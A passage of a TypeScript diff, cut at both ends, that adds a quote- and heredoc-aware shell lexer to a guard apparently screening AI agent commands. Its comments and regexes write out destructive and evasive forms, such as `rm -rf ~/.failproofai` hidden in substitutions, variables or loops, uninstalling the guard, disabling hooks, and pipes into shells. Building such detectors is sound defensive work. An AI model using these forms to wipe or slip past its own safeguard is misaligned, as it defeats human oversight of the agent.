word. + */ +const INLINE_PROGRAM_RE = new RegExp( + String.raw`(?:^|[\s;&|(\x60])(?:[^\s;&|()\x60]*/)?(?:${INLINE_INTERPRETERS})(?:[ \t]+[^\s;&|]+){0,6}?[ \t]+(?:-[A-Za-z]*[ceErp]|--eval=?|--print=?|--command=?|-Command|eval)[ \t]*("(?:[^"\\]|\\.)*"|'[^']*'|\$'(?:[^'\\]|\\.)*')`, + "g", +); +/** Heads that run their quoted arguments, or a heredoc, as shell. */ +const SHELL_HEADS: ReadonlySet = new Set([ + "sh", "bash", "zsh", "dash", "ksh", "ash", "fish", "eval", "source", ".", "su", + "ssh", "docker", "podman", "kubectl", "watch", +]); +/** Shells and interpreters that read a program from stdin when given no script: `| sh`, `| node`. */ +const STDIN_PROGRAM_HEADS: ReadonlySet = new Set([ + "sh", "bash", "zsh", "dash", "ksh", "ash", "fish", "node", "bun", "deno", +]); +/** Words a shell walks past before the command that receives the arguments. */ +const MASK_TRANSPARENT_WORDS: ReadonlySet = new Set([ + "sudo", "doas", "env", "nohup", "time", "timeout", "nice", "stdbuf", "setsid", "command", "builtin", + "exec", "xargs", "then", "do", "else", "elif", "if", "while", "until", "!", +]); +/** Characters that steer the walk and mean nothing to the shell inside a quoted argument. */ +const MASKABLE_IN_QUOTES = "\n\r;&|<>()"; +/** Marks a word in the lexer's decoded words that holds an expansion. */ +const UNKNOWN_IN_WORD = "\u0000"; +/** What a quoted message holds and a quoted word does not. */ +const NOT_IN_A_QUOTED_WORD = ` \t\v\f${MASKABLE_IN_QUOTES}`; +/** One command context: the top level, a `$(…)`, a backtick or a `( … )` subshell. */ +interface LexCommandFrame { + kind: "cmd"; + /** What closes it: `)` for `$(` and `(`, a backtick for a backtick, nothing for the top level. */ + closer: ")" | "`" | null; + /** Opened by `$(` or a backtick: its output is spliced into the command around it. */ + substitution: boolean; + /** The current simple command's head, once its first real word is read. */ + head: string | null; + /** The current simple command's words so far (the first few). */ + words: string[]; + word: string; + /** + * The same words with their quotes undone — `'/tmp/example.md'` is + * `/tmp/example.md`, `"-"` is `-` — for the heredoc analysis only. A word + * holding an expansion carries UNKNOWN_IN_WORD and reads as unknown. + */ + decodedWords: string[]; + decoded: string; +} +interface LexQuoteFrame { + kind: "sq" | "dq" | "ansi"; + /** Blank separators inside: the command receiving this argument is not a shell. */ + mask: boolean; + /** An expansion inside (`$X`, `$(…)`, a backtick): its text is not known. */ + expands?: boolean; + /** Where the quoted text starts. */ + start: number; + /** + * Nothing inside so far that a message has and a word does not: no blank, + * separator, escape or expansion. Such a quote is a quoted WORD, and + * `commandsOnly` gives it back when it closes — `codex features disable + * "hooks"` is that command whether or not `hooks` is quoted. + */ + plain: boolean; +} +interface LexArithFrame { + kind: "arith"; + depth: number; +} +/** `${…}`: part of one word, whatever spaces, `#`, `;` or `)` it holds. */ +interface LexParamFrame { + kind: "param"; + depth: number; +} +type LexFrame = LexCommandFrame | LexQuoteFrame | LexArithFrame | LexParamFrame; +/** A simple command as it ended: its head and its first words. */ +interface LexEndedCommand { + head: string | null; + words: string[]; +} +interface PendingHeredoc { + delimiter: string; + literal: boolean; + /** `<<-`: leading tabs come off each body line before it is compared. */ + stripTabs: boolean; + /** Index, in the line's ended commands, of the command the operator belongs to. */ + commandIndex: number; + /** Inside a `$(…)`/backtick: the command the substitution is an argument of; undefined at the top level. */ + outer: LexEndedCommand | null | undefined; +} +/** What one pass over a command learns. Every string has the command's length. */ +interface ShellLex { + /** Comments and STORED heredoc bodies blanked; everything else as written. */ + readable: string; + /** `readable`, with separators, redirects and parentheses inside quoted arguments blanked too. */ + splittable: string; + /** The command with only LITERAL stored heredoc bodies blanked: where substitutions are looked for. */ + substitutionSource: string; + /** `splittable` with ALL text inside a non-shell command's quoted arguments blanked: the commands alone. */ + commandsOnly: string; + /** Bodies of heredocs that an interpreter reads as its program. */ + programBodies: string[]; +} +function isShellHead(head: string | null | undefined): boolean { + return head !== null && head !== undefined && SHELL_HEADS.has(head); +} +function isInterpreterHead(head: string | null | undefined): boolean { + return head !== null && head !== undefined && INLINE_INTERPRETER_RE.test(head); +} +/** `cat`, `cat -` or `cat /dev/stdin`: copies its stdin and nothing else. */ +function catReadsOnlyStdin(command: LexEndedCommand): boolean { + return command.head === "cat" && command.words.slice(1).every((word) => word === "-" || word === "/dev/stdin"); +} +/** `-F -`, `-F-`, `--file=/dev/stdin` and the like: a message read from stdin. */ +function readsMessageFromStdin(words: string[], options: readonly string[]): boolean { + const stdin = (value: string | undefined): boolean => value === "-" || value === "/dev/stdin"; + return words.some((word, i) => { + if (options.includes(word)) return stdin(words[i + 1]); + return options.some((option) => (option.startsWith("--") ? word === `${option}=-` || word === `${option}=/dev/stdin` : stdin(word.slice(option.length)) && word.startsWith(option))); + }); +} +/** `git commit|tag|notes … -F -`: the heredoc is the commit message. */ +function gitTakesMessageFromStdin(command: LexEndedCommand): boolean { + if (command.head !== "git") return false; + const sub = command.words.slice(1).find((word) => !word.startsWith("-")); + return (sub === "commit" || sub === "tag" || sub === "notes") && readsMessageFromStdin(command.words, ["-F", "--file"]); +} +/** `gh … --body-file -`: the heredoc is the body of an issue, a PR or a release. */ +function ghTakesBodyFromStdin(command: LexEndedCommand): boolean { + return command.head === "gh" && readsMessageFromStdin(command.words, ["--body-file", "-F"]); +} +/** Commands whose `$(cat <<'EOF' …)` argument is a message they store, never run. */ +function outerStoresMessage(outer: LexEndedCommand | null | undefined): boolean { + // Not `echo` or `printf`: their output is the body itself, and + // `echo "$(cat <<'EOF' …)" > x.sh && sh x.sh` runs it. + if (!outer || outer.head === null) return false; + const sub = outer.words.slice(1).find((word) => !word.startsWith("-")); + if (outer.head === "git") return sub === "commit" || sub === "tag" || sub === "notes" || sub === "merge"; + if (outer.head === "gh" || outer.head === "glab") return sub !== "alias" && sub !== "extension"; + return false; +} +/** A pipe into a shell or interpreter, or an eval/source, anywhere after `at`. */ +const RUNS_TEXT_LATER_RE = + /\|\s*(?:[^\s;&|()`<>]*\/)?(?:sh|bash|zsh|dash|ksh|ash|fish|python[0-9.]*|pypy[0-9.]*|node|nodejs|bun|deno|perl|ruby|php|lua|pwsh|powershell)(?=[\s;&|)]|$)|(?:^|[\s;&|(`])(?:eval|source)(?=\s)/; +/** The file a `cat > F` or `tee F` heredoc writes, or null. */ +function heredocWritesFile(command: LexEndedCommand): string | null { + const words = command.words; + if (command.head === "cat") { + for (let i = 1; i < words.length; i++) { + const m = /^>{1,2}(.*)$/.exec(words[i]); + if (m) return m[1] || words[i + 1] || null; + } + return null; + } + if (command.head === "tee") return words.slice(1).find((word) => !word.startsWith("-")) ?? null; + return null; +} +/** + * Whether a heredoc's body is text being STORED rather than read by anything + * that acts on it — the only bodies the walk may skip. * - * So the walk is stateful: it remembers which variables hold the path and - * whether the shell has been moved INTO the directory, and carries both - * forward. What it does NOT do is treat every later command as suspect — - * `cat ~/.failproofai/config.json && rm /tmp/scratch` has to stay allowed, and - * does, because nothing in the second command reaches the state. + * An allowlist, because the other direction failed: `git apply < x.sh < F` or `tee F` that nothing in the same command runs. + * Anything that later pipes into a shell, `eval`s or `source`s keeps its body. */ -function destroysFailproofaiState(command: string, depth = 0): boolean { - // A substitution runs its body as a command of its own, so it is judged as - // one — `echo $(rm -rf ~/.failproofai)` otherwise presents `echo` as the head - // and walks straight through. Bounded, because a body can contain another. - // Breadth-first with a budget rather than depth-limited recursion: a nest - // deeper than the limit is trivial to write (`echo $(echo $(… rm …))`), and - // every level of it presents `echo` as the head. The budget is what bounds - // the work instead, because siblings multiply where depth does not. - if (depth === 0) { - const bodies = substitutionBodies(command); - for (let i = 0; i < bodies.length && i < 64; i++) { - if (destroysFailproofaiState(bodies[i], 1)) return true; - bodies.push(...substitutionBodies(bodies[i])); +function heredocIsStoredText( + doc: PendingHeredoc, + own: LexEndedCommand, + /** How many commands follow `own` on its line, and the first of them. */ + downstream: { count: number; next: LexEndedCommand | undefined }, + later: { runsText: boolean; names: { has(name: string): boolean } }, + substitutionBody: boolean, +): boolean { + if (later.runsText) return false; + if (downstream.count === 0) { + if (catReadsOnlyStdin(own)) { + // Inside a substitution whose text the outer command stores; or a body + // being judged on its own (depth 1), whose outer command was judged with it. + if (doc.outer !== undefined ? outerStoresMessage(doc.outer) : substitutionBody) return true; } + if (gitTakesMessageFromStdin(own) || ghTakesBodyFromStdin(own)) return true; + const file = doc.outer === undefined ? heredocWritesFile(own) : null; + if (file) { + const name = file.slice(file.lastIndexOf("/") + 1); + return name.length > 0 && !later.names.has(name); + } + return false; } - - // Variables that hold the path. The scan used to ask only whether a value - // CONTAINED the path, which caught `D=~/.failproofai; rm -rf $D` and missed - // `A=~/.failproofai; B=$A; rm -rf $B` — the second hop names no path at all, - // only the first variable. So a value referencing a known state variable - // counts too. Repeating to a fixpoint costs four lines and makes the result - // independent of the order the assignments appear in, rather than resting on - // a shell evaluating them top to bottom. - const assignments = [ - ...command.matchAll(/(?:^|[\s;&|(])(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)=("[^"]*"|'[^']*'|[^\s;&|)]+)/g), - ].map(([, name, value]) => [name, value.replace(/^["']|["']$/g, "")] as const); - const stateVars = new Set(); - for (let pass = 0; pass < assignments.length + 1; pass++) { - const before = stateVars.size; - for (const [name, value] of assignments) { - const holdsState = - FAILPROOFAI_STATE_PATH_RE.test(value) || - [...value.matchAll(VAR_REFERENCE_RE)].some(([, ref]) => stateVars.has(ref)); - if (holdsState) stateVars.add(name); + return ( + downstream.count === 1 && + downstream.next !== undefined && + catReadsOnlyStdin(own) && + (gitTakesMessageFromStdin(downstream.next) || ghTakesBodyFromStdin(downstream.next)) + ); +} +/** + * A heredoc delimiter word, read the way the shell reads it: quotes and + * backslashes come off, and any of them makes the body literal. `<()".includes(c)) break; + delimiter += c; + j++; } - - const namesState = (text: string): boolean => { - if (FAILPROOFAI_STATE_PATH_RE.test(text)) return true; - for (const [, name] of text.matchAll(VAR_REFERENCE_RE)) { - if (stateVars.has(name)) return true; + // `<<''` and `<<""` are heredocs too, ended by the first empty line. + return delimiter || literal ? { delimiter, literal, stripTabs, end: j } : null; +} +/** + * One linear pass over a command, as a shell would read it: quotes, `$'…'`, + * `${…}`, `$(…)` and backticks (also inside double quotes), `$((…))`, + * `( … )` subshells, comments, and heredocs with their bodies. + * + * The regexes this replaced read `< { + if (k < n) blanks[k] |= outputs; + }; + const programBodies: string[] = []; + const newCommand = (closer: ")" | "`" | null, substitution: boolean): LexCommandFrame => ({ + kind: "cmd", closer, substitution, head: null, words: [], word: "", decodedWords: [], decoded: "", + }); + const stack: LexFrame[] = [newCommand(null, false)]; + const pending: PendingHeredoc[] = []; + // Commands ended since the first pending heredoc on this line, in order: a + // heredoc's own command, then the ones its output is piped to. One list per + // line, so many operators on one line stay linear. + const lineCommands: LexEndedCommand[] = []; + + const commandFrame = (): LexCommandFrame => { + for (let k = stack.length - 1; k >= 0; k--) { + const frame = stack[k]; + if (frame.kind === "cmd") return frame; } - // Per token, not over the whole text: a glob compiled from a whole command - // line matches nothing, and it is the individual operand — `~/.failproof*` - // — that would expand onto the state. - return text.split(/\s+/).some((token) => globCouldNameState(unquotedToken(token))); + return stack[0] as LexCommandFrame; + }; + const outerCommand = (): LexEndedCommand | null | undefined => { + // The substitution frame closest to the top, then the command below it. + for (let k = stack.length - 1; k >= 0; k--) { + const frame = stack[k]; + if (frame.kind !== "cmd") continue; + if (!frame.substitution) return undefined; + for (let j = k - 1; j >= 0; j--) { + const below = stack[j]; + if (below.kind === "cmd") return { head: below.head ?? (below.word ? commandBasename(below.word) : null), words: knownWords(below.decodedWords) }; + } + return null; + } + return undefined; + }; + const endWord = (frame: LexCommandFrame): void => { + if (!frame.word) return; + if (frame.words.length < 32) { + frame.words.push(frame.word); + frame.decodedWords.push(frame.decoded); + } + frame.decoded = ""; + if (frame.head === null) { + const base = commandBasename(frame.word); + const skipped = + ENV_ASSIGNMENT_RE.test(frame.word) || frame.word.startsWith("-") || RUNNER_OPERAND_RE.test(frame.word) || + MASK_TRANSPARENT_WORDS.has(base); + if (!skipped) frame.head = base; + } + frame.word = ""; + }; + const endCommand = (frame: LexCommandFrame): void => { + endWord(frame); + if (pending.length > 0) lineCommands.push({ head: frame.head, words: knownWords(frame.decodedWords) }); + frame.head = null; + frame.words = []; + frame.decodedWords = []; + }; + const quoteMask = (frame: LexCommandFrame): boolean => frame.head !== null && !isShellHead(frame.head); + // A word whose text an expansion decides is not known: empty, as before. + const knownWords = (words: readonly string[]): string[] => words.map((w) => (w.includes(UNKNOWN_IN_WORD) ? "" : w)); + // A closing quote hands its text, quotes undone, to the word it is part of. + const decodeQuote = (frame: LexQuoteFrame, end: number): void => { + const owner = stack[stack.length - 2]; + if (owner?.kind !== "cmd") return; + const raw = text.slice(frame.start, end); + if (frame.expands) owner.decoded += UNKNOWN_IN_WORD; + else if (frame.kind === "sq") owner.decoded += raw; + else if (frame.kind === "ansi") owner.decoded += decodeAnsiC(raw); + else owner.decoded += raw.replace(/\\([\\"$`])/g, "$1").replace(/\\\n/g, ""); + }; + const closeQuote = (frame: LexQuoteFrame, end: number): void => { + if (!frame.mask || !frame.plain) return; + for (let k = frame.start; k < end; k++) blanks[k] &= ~COMMANDS; + }; + const blankStored = (start: number, end: number, literal: boolean): void => { + for (let k = start; k < end; k++) { + if (text[k] === "\n") continue; + blankAt(k, READABLE | SPLITTABLE | COMMANDS | (literal ? SUBSTITUTION : 0)); + } + }; + // Whether anything from `pos` on pipes into a shell or `eval`s, and whether + // a file name appears from `pos` on. `pos` only grows, and each answer comes + // from a scan that never goes back over text: the next match of + // RUNS_TEXT_LATER_RE, and the last place each name appears. `pos` follows a + // newline, which stands in for the start of the text the regex once saw. + let nextRunsText = -2; + let lastNamed: Map | undefined; + // Later words an expansion builds (`bash /tmp/exam$X`), as patterns over the + // names they could make; past the cap, every name counts as used. + let wildNames: Array<{ at: number; atoms: GlobAtom[] }> = []; + let wildOverflowAt = -1; + const runsTextFrom = (pos: number): boolean => { + if (nextRunsText === -1) return false; + if (nextRunsText >= pos - 1) return true; + const scan = new RegExp(RUNS_TEXT_LATER_RE.source, "g"); + scan.lastIndex = Math.max(0, pos - 1); + nextRunsText = scan.exec(text)?.index ?? -1; + return nextRunsText !== -1; + }; + const namedFrom = (name: string, pos: number): boolean => { + if (lastNamed === undefined) { + lastNamed = new Map(); + // Words as the shell hands them over, quotes undone: `bash + // /tmp/exam'ple.md'` runs /tmp/example.md. + // A word built by an expansion, a glob or braces names whatever it can + // expand to: `bash /tmp/exa*`, `bash /tmp/{example,x}.md`, `bash + // /tmp/exam$X`. Each is a glob over names (an expansion is a `*`), + // matched by the same no-backtracking walk as every other glob here. + for (const { word, at } of decodedWordsAt(text)) { + const forms = word.includes("{") ? expandBraces(word) : [word]; + if (forms.length > 64) { + wildOverflowAt = Math.max(wildOverflowAt, at); + continue; + } + for (const form of forms) { + const base = form.slice(form.lastIndexOf("/") + 1); + if (!EXPANSION_IN_WORD_RE.test(base) && !GLOB_METACHAR_RE.test(base)) { + lastNamed.set(base, at); + continue; + } + const atoms = globAtoms(base.replace(EXPANSIONS_IN_NAME_RE, "*")); + if (atoms !== null && wildNames.length < 256) wildNames.push({ at, atoms }); + else wildOverflowAt = Math.max(wildOverflowAt, at); + } + } + } + if ((lastNamed.get(name) ?? -1) >= pos || wildOverflowAt >= pos) return true; + return wildNames.some((wild) => wild.at >= pos && globSegmentMatches(wild.atoms, name)); + }; + /** Read every pending heredoc's body, starting at `at`; return where lexing resumes. */ + const consumeBodies = (at: number): number => { + let pos = at; + const spans: Array<{ doc: PendingHeredoc; start: number; end: number }> = []; + for (const doc of pending.splice(0)) { + let bodyEnd = n; + let next = n; + for (let line = pos; line <= n; ) { + const end = text.indexOf("\n", line); + const content = text.slice(line, end === -1 ? n : end); + // The line must BE the delimiter: `EOF ` and ` EOF` are body text. + if ((doc.stripTabs ? content.replace(/^\t+/, "") : content) === doc.delimiter) { + bodyEnd = line; + next = end === -1 ? n : end + 1; + break; + } + if (end === -1) break; + line = end + 1; + } + spans.push({ doc, start: pos, end: bodyEnd }); + pos = next; + } + // What runs after the bodies, once for every heredoc on the line (a check + // per heredoc made thousands of operators on one line quadratic), and + // looked up rather than read: reading the rest of the text again for each + // line of heredocs made a script of them quadratic. + const later = { runsText: runsTextFrom(pos), names: { has: (name: string) => namedFrom(name, pos) } }; + // Whether an interpreter runs at or after each command of the line, read + // once from the end. Copying and scanning the rest of the line for every + // heredoc made a line of thousands of them quadratic. + const interpreterFrom = new Array(lineCommands.length + 1).fill(false); + for (let k = lineCommands.length - 1; k >= 0; k--) { + interpreterFrom[k] = interpreterFrom[k + 1] || isInterpreterHead(lineCommands[k].head); + } + for (const { doc, start, end } of spans) { + const own = lineCommands[doc.commandIndex] ?? { head: null, words: [] }; + const downstream = { count: Math.max(0, lineCommands.length - doc.commandIndex - 1), next: lineCommands[doc.commandIndex + 1] }; + if (heredocIsStoredText(doc, own, downstream, later, substitutionBody)) blankStored(start, end, doc.literal); + else if (isInterpreterHead(own.head) || interpreterFrom[doc.commandIndex + 1] === true) { + programBodies.push(text.slice(start, end)); + } + } + lineCommands.length = 0; + return pos; }; - let cwdInState = false; - // How deep in `( … )` the walk is, and how deep it was when the `cd` fired. - // A `cd` inside a subshell moves the subshell only, so the window closes when - // the parenthesis does: `(cd ~/.failproofai && cat x); rm -rf node_modules` - // was denying a cleanup in an entirely unrelated directory. - let parenDepth = 0; - let cdParenDepth: number | null = null; - // A loop header hands its word list to the body, and the body is a separate - // pipeline that names nothing. Without this, `for f in ~/.failproofai/*; do - // rm -rf $f; done` is a header that only expands and a body that only deletes - // something called `$f`. - let loopCarriesState = false; - for (const pipeline of command.split(PIPELINE_SEPARATORS)) { - if (!pipeline.trim()) continue; - const simpleCommands = pipeline.split("|"); - const reachesState = namesState(pipeline) || cwdInState || loopCarriesState; - if (reachesState && LOOP_HEADER_RE.test(pipeline)) loopCarriesState = true; - if (/(?:^|\s)done(?:\s|$)/.test(pipeline)) loopCarriesState = false; - - // A redirect is a write with no command in front of it — `> path` empties a - // file on its own. Only a redirect whose TARGET is the state counts: the - // previous version matched any `>` anywhere in the segment, so - // `grep -r sudo ~/.failproofai 2>/dev/null` and - // `cat ~/.failproofai/config.json > /tmp/backup.json` both denied, which is - // exactly the diagnosis this guard must not block. - if (reachesState) { - for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { - if (namesState(target.replace(/^["']|["']$/g, ""))) return true; + let i = 0; + while (i < n) { + const ch = text[i]; + const frame = stack[stack.length - 1]; + if (frame.kind === "sq") { + if (ch === "'") { + closeQuote(frame, i); + decodeQuote(frame, i); + stack.pop(); + } else if (frame.mask) { + if (MASKABLE_IN_QUOTES.includes(ch)) blankAt(i, SPLITTABLE); + if (ch !== "\n") blankAt(i, COMMANDS); + if (frame.plain && NOT_IN_A_QUOTED_WORD.includes(ch)) frame.plain = false; + } + i++; + continue; + } + if (frame.kind === "ansi") { + if (ch === "\\") { + frame.plain = false; + if (frame.mask) { + blankAt(i, COMMANDS); + if (i + 1 < n && text[i + 1] !== "\n") blankAt(i + 1, COMMANDS); + } + i += 2; + continue; + } + if (ch === "'") { + closeQuote(frame, i); + decodeQuote(frame, i); + stack.pop(); + } else if (frame.mask) { + if (MASKABLE_IN_QUOTES.includes(ch)) blankAt(i, SPLITTABLE); + if (ch !== "\n") blankAt(i, COMMANDS); + if (frame.plain && NOT_IN_A_QUOTED_WORD.includes(ch)) frame.plain = false; + } + i++; + continue; + } + if (frame.kind === "arith") { + if (ch === "(") frame.depth++; + else if (ch === ")") { + if (frame.depth === 0 && text[i + 1] === ")") { + blankAt(i, SPLITTABLE); + blankAt(i + 1, SPLITTABLE); + stack.pop(); + i += 2; + continue; + } + frame.depth = Math.max(0, frame.depth - 1); + } + i++; + continue; + } + if (frame.kind === "param") { + // Nothing inside `${…}` separates, redirects, opens a subshell or starts + // a comment: `${X:- #}; rm …` runs the `rm`. + if (ch === "\\") { + i += 2; + continue; + } + if (ch === "'" || ch === '"') { + stack.push({ kind: ch === "'" ? "sq" : "dq", mask: true, start: i + 1, plain: true }); + i++; + continue; + } + if (ch === "$" && text[i + 1] === "(") { + stack.push(newCommand(")", true)); + blankAt(i + 1, SPLITTABLE); + i += 2; + continue; + } + if (ch === "{") frame.depth++; + else if (ch === "}") { + if (frame.depth === 0) { + stack.pop(); + i++; + continue; + } + frame.depth--; + } else if (MASKABLE_IN_QUOTES.includes(ch)) blankAt(i, SPLITTABLE); + i++; + continue; + } + if (frame.kind === "dq") { + if (ch === "\\") { + frame.plain = false; + if (frame.mask) { + blankAt(i, COMMANDS); + if (i + 1 < n && text[i + 1] !== "\n") blankAt(i + 1, COMMANDS); + } + i += 2; + continue; + } + if (ch === '"') { + closeQuote(frame, i); + decodeQuote(frame, i); + stack.pop(); + i++; + continue; + } + if (ch === "`" || (ch === "$" && (text[i + 1] === "(" || text[i + 1] === "{"))) frame.plain = false; + if (ch === "`" || (ch === "$" && /[A-Za-z_({0-9@*#?$!-]/.test(text[i + 1] ?? ""))) frame.expands = true; + // The parentheses of `$(…)` and `$((…))` open no subshell: blanked where + // the walk counts subshells, so a `cd "$(dirname …)"` keeps its reach. + if (ch === "$" && text[i + 1] === "(" && text[i + 2] === "(") { + stack.push({ kind: "arith", depth: 0 }); + blankAt(i + 1, SPLITTABLE); + blankAt(i + 2, SPLITTABLE); + i += 3; + continue; + } + if (ch === "$" && text[i + 1] === "(") { + stack.push(newCommand(")", true)); + blankAt(i + 1, SPLITTABLE); + i += 2; + continue; + } + if (ch === "$" && text[i + 1] === "{") { + stack.push({ kind: "param", depth: 0 }); + i += 2; + continue; + } + if (ch === "`") { + stack.push(newCommand("`", true)); + i++; + continue; + } + if (frame.mask) { + if (MASKABLE_IN_QUOTES.includes(ch)) blankAt(i, SPLITTABLE); + if (ch !== "\n") blankAt(i, COMMANDS); + if (frame.plain && NOT_IN_A_QUOTED_WORD.includes(ch)) frame.plain = false; } + i++; + continue; } - for (const simple of simpleCommands) { - parenDepth += (simple.match(/\(/g) ?? []).length; - const words = commandWords(simple); - const head = words.length > 0 ? commandBasename(words[0]) : ""; - // Track the shell's position before judging: a `cd` INTO the state makes - // every later relative path a state path, and a `cd` back out ends that. - if (head === "cd" || head === "pushd") { - const operand = words.slice(1).find((w) => !w.startsWith("-")); - cwdInState = operand !== undefined && namesState(operand); - cdParenDepth = cwdInState ? parenDepth : null; - } else if (head === "popd") { - // `popd` returns to wherever the shell was before `pushd`, which ends - // the window as surely as a `cd` out does. Without it every command for - // the rest of the line was judged as if it stood in the state directory. - cwdInState = false; - cdParenDepth = null; - } else if (reachesState && words.length > 0 && simpleCommandDestroys(words, namesState)) { - // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` - // still runs inside the subshell it closes. - return true; + // A command context. + const command = frame as LexCommandFrame; + if (ch === "\\") { + // A backslash-newline joins lines; any other escaped character is literal. + if (text[i + 1] !== "\n") { + command.word += text[i + 1] ?? ""; + command.decoded += text[i + 1] ?? ""; } - parenDepth -= (simple.match(/\)/g) ?? []).length; - if (cdParenDepth !== null && parenDepth < cdParenDepth) { - cwdInState = false; - cdParenDepth = null; + i += 2; + continue; + } + if (ch === "`" && command.closer === "`") { + endCommand(command); + stack.pop(); + commandFrame().word += "q"; + commandFrame().decoded += UNKNOWN_IN_WORD; + i++; + continue; + } + if (ch === "'" || ch === '"' || (ch === "$" && text[i + 1] === "'")) { + stack.push({ + kind: ch === "'" ? "sq" : ch === '"' ? "dq" : "ansi", + mask: quoteMask(command), + start: i + (ch === "$" ? 2 : 1), + plain: true, + }); + command.word += "q"; + i += ch === "$" ? 2 : 1; + continue; + } + if (ch === "$" && text[i + 1] === "(" && text[i + 2] === "(") { + stack.push({ kind: "arith", depth: 0 }); + blankAt(i + 1, SPLITTABLE); + blankAt(i + 2, SPLITTABLE); + command.word += "q"; + command.decoded += UNKNOWN_IN_WORD; + i += 3; + continue; + } + if (ch === "$" && text[i + 1] === "(") { + stack.push(newCommand(")", true)); + blankAt(i + 1, SPLITTABLE); + command.word += "q"; + command.decoded += UNKNOWN_IN_WORD; + i += 2; + continue; + } + if (ch === "$" && text[i + 1] === "{") { + stack.push({ kind: "param", depth: 0 }); + command.word += "q"; + command.decoded += UNKNOWN_IN_WORD; + i += 2; + continue; + } + if (ch === "`") { + stack.push(newCommand("`", true)); + command.word += "q"; + command.decoded += UNKNOWN_IN_WORD; + i++; + continue; + } + if (ch === "#" && command.word === "") { + // A comment runs to the end of the line, and nothing in it is shell. + let j = i; + for (; j < n && text[j] !== "\n"; j++) { + blankAt(j, READABLE | SPLITTABLE | COMMANDS); + } + i = j; + continue; + } + if (ch === "(") { + endWord(command); + stack.push(newCommand(")", false)); + i++; + continue; + } + if (ch === ")") { + if (command.closer === ")") { + endCommand(command); + stack.pop(); + if (command.substitution) { + blankAt(i, SPLITTABLE); + commandFrame().word += "q"; + } + } + i++; + continue; + } + if (ch === "<" && text[i + 1] === "<" && text[i + 2] !== "<" && text[i - 1] !== "<") { + const op = readHeredocDelimiter(text, i + 2); + if (op) { + endWord(command); + pending.push({ + delimiter: op.delimiter, + literal: op.literal, + stripTabs: op.stripTabs, + commandIndex: lineCommands.length, + outer: outerCommand(), + }); + i = op.end; + continue; } } + if (ch === "\n") { + endCommand(command); + i = pending.length > 0 ? consumeBodies(i + 1) : i + 1; + continue; + } + if (ch === ";" || ch === "&" || ch === "|") { + endCommand(command); + i++; + continue; + } + if (ch === " " || ch === "\t" || ch === "\r") { + endWord(command); + i++; + continue; + } + command.word += ch; + command.decoded += ch; + i++; } - return false; + if (pending.length > 0) { + endCommand(commandFrame()); + consumeBodies(n); + } + // Each output is the text with its blanked positions turned into spaces, or + // the text itself when nothing in it was blanked. + const render = (output: number): string => { + let out = ""; + let from = 0; + let blanked = false; + for (let k = 0; k < n; ) { + if ((blanks[k] & output) === 0) { + k++; + continue; + } + let end = k; + while (end < n && (blanks[end] & output) !== 0) end++; + out += text.slice(from, k) + " ".repeat(end - k); + from = end; + k = end; + blanked = true; + } + return blanked ? out + text.slice(from) : text; + }; + return { + readable: render(READABLE), + splittable: render(SPLITTABLE), + substitutionSource: render(SUBSTITUTION), + commandsOnly: render(COMMANDS), + programBodies, + }; } - -const FAILPROOFAI_UNINSTALL_RE = /(?:npm\s+(?:uninstall|remove|un|r)\s.*failproofai|bun\s+remove\s.*failproofai|yarn\s+global\s+remove\s+failproofai|pnpm\s+(?:remove|uninstall|un)\s.*failproofai)/; - -// warnGitAmend -const GIT_AMEND_RE = /\bgit\s+commit\b.*--amend\b/; - -// warnGitStashDrop -const GIT_STASH_DROP_RE = /\bgit\s+stash\s+(?:drop|clear)\b/; - -// warnGitClean /** - * `git`, however the command line spells it. Same shape as {@link RM_CMD_RE}: - * an absolute path to the binary does not change what it does. + * Index past the end of a `$(…)`, `${…}` or backtick that starts at `i`, + * quotes inside it included: what the shell keeps inside one word. */ -const GIT_CMD_RE = /^(?:\/\S*\/)?git$/; - -/** A short-flag cluster: `-f`, `-fdx`, `-xdf`. */ -const SHORT_FLAG_CLUSTER_RE = /^-[A-Za-z]+$/; - +function endOfExpansion(text: string, i: number): number { + if (text[i] === "`") { + for (let j = i + 1; j < text.length; j++) { + if (text[j] === "\\") j++; + else if (text[j] === "`") return j + 1; + } + return text.length; + } + const open = text[i + 1]; + const close = open === "(" ? ")" : "}"; + let depth = 0; + for (let j = i + 1; j < text.length; j++) { + const c = text[j]; + if (c === "\\") { + j++; + continue; + } + if (c === "'") { + const end = text.indexOf("'", j + 1); + if (end === -1) return text.length; + j = end; + continue; + } + if (c === open) depth++; + else if (c === close) { + depth--; + if (depth === 0) return j + 1; + } + } + return text.length; +} /** - * `clean.requireForce=false`, the config that makes `git clean` delete with no - * `-f` at all — and settable per invocation as `git -c - * clean.requireForce=false clean -xd`. Reading the subcommand's flags alone - * would call that "no force, no warning" on the one spelling that needs none. + * A simple command's words the way the shell will split them: whitespace + * outside quotes and expansions separates, and quotes and backslash escapes + * come off. `$(…)`, `${…}` and backticks stay whole, as written, so + * `cd $(echo ~/.claude)` has one operand. */ -const GIT_CLEAN_FORCE_WAIVED_RE = /^clean\.requireforce=(?:false|0|no|off)$/i; - +function quoteAwareWords(text: string): string[] { + const words: string[] = []; + let current = ""; + let inWord = false; + for (let i = 0; i < text.length; i++) { + const ch = text[i]; + if (ch === "'") { + const close = text.indexOf("'", i + 1); + const end = close === -1 ? text.length : close; + current += text.slice(i + 1, end); + inWord = true; + i = end; + continue; + } + if (ch === "$" && text[i + 1] === "'") { + let j = i + 2; + let body = ""; + for (; j < text.length && text[j] !== "'"; j++) { + if (text[j] === "\\" && j + 1 < text.length) { + body += text[j] + text[j + 1]; + j++; + } else body += text[j]; + } + current += decodeAnsiC(body); + inWord = true; + i = j; + continue; + } + if ((ch === "$" && (text[i + 1] === "(" || text[i + 1] === "{")) || ch === "`") { + const end = endOfExpansion(text, i); + current += text.slice(i, end); + inWord = true; + i = end - 1; + continue; + } + if (ch === '"') { + let j = i + 1; + for (; j < text.length && text[j] !== '"'; j++) { + if (text[j] === "$" && (text[j + 1] === "(" || text[j + 1] === "{")) { + const end = endOfExpansion(text, j); + current += text.slice(j, end); + j = end - 1; + } else if (text[j] === "\\" && j + 1 < text.length && '"\\$`\n'.includes(text[j + 1])) { + current += text[j + 1]; + j++; + } else current += text[j]; + } + inWord = true; + i = j; + continue; + } + if (ch === "\\" && i + 1 < text.length) { + current += text[i + 1]; + inWord = true; + i++; + continue; + } + if (/\s/.test(ch)) { + if (inWord) words.push(current); + current = ""; + inWord = false; + continue; + } + current += ch; + inWord = true; + } + if (inWord) 